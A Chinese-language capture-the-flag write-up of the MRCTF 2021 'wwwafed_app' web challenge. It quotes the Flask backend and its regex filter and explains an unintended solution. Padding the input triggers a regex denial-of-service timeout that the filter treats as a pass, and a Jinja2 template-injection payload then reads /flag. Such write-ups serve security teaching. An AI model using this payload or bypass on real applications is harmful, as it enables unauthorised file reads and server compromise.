[MRCTF 2021]wwwafed_app

Posted F1ght!!

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[MRCTF 2021]wwwafed_app相关的知识,希望对你有一定的参考价值。

之前打的MRCTF,没做出来什么题,也算是一种体验了~
这是大佬带出来的一道题:
在这里插入图片描述
在这里插入图片描述
进去之后是一个前端界面,先看前端,有一个输入框,输入域名来检测是否能连通,右上角,有一个waf source,可以点击:
得到和waf有关的源码:

import re,sys 
import timeout_decorator 
@timeout_decorator.timeout(5) def waf(url): 
       # only xxx.yy-yy.zzz.mrctf.fun allow 
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\\.)+(mrctf\\.fun)$' 

if re.match(pat,url) is None: 
    print("BLOCK",end='') # 拦截 
else: 
    print("PASS",end='') # 不拦截 
    if __name__ == "__main__":
        try:      
            waf(sys.argv[1]) 
        except:
            print("PASS",end='')

其限制了输入的网址只能是xxx.yy-yy.zzz.mrctf.fun的形式,

可以考虑如何绕过正则,先放着:

通过dirsearch的扫描得到其可以访问 /source

在这里插入图片描述

直接爆出部分后台代码,如下:
from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os

app = Flask(__name__)

@app.route("/")
def index():
	return render_template('index.html')

@app.route("/waf")
def wafsource():
	return open("waf.py").read()

@app.route("/source")
def appsource():
	return open(__file__).read()

@app.route("/api/spider/")
def spider(url):
	url = base64.b64decode(url).decode('utf-8')
	safeurl = shlex.quote(url)
	block = os.popen("python3 waf.py " + safeurl).read()
	if block == "PASS":
		try:
			req = requests.get("http://"+url,timeout=5)
			return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
		except:
			return Template("访问{}失败!".format(safeurl)).render()
	else:
		return Template("WAF已拦截,请不要乱输入参数!").render()

if __name__ == "__main__":
	app.run(host="0.0.0.0",port=5000,debug=True)

明显是flask框架,可能存在SSTI模版注入。

查看路由,最后面的路由,"/api/spider/"是主要的功能:

将传入的url进行了base64加密和shlex函数的转义,

然后进行命令执行,判断是否能连通:

然而最后是不小心被非预期出来了:
在这里插入图片描述
在输入框输入1111111111111,很多个1后可以实现SSTI模板注入:

11111111111111111111111111{{''.__class__.__mro__[1].__subclasses__()[94].get_data(0,"/flag")}}

原理是其后台正则检验,有时间限制,超过时间则放行,类似回溯绕过,这个叫ReDOS(正则表达式DOS)。

以上是关于[MRCTF 2021]wwwafed_app的主要内容,如果未能解决你的问题,请参考以下文章

2020MRCTF

[MRCTF2020]PYWebsite

[MRCTF2020]Ez_bypass

[MRCTF2020]套娃

BUU-WEB-[MRCTF2020]Ez_bypass

MRCTF2020EZaduit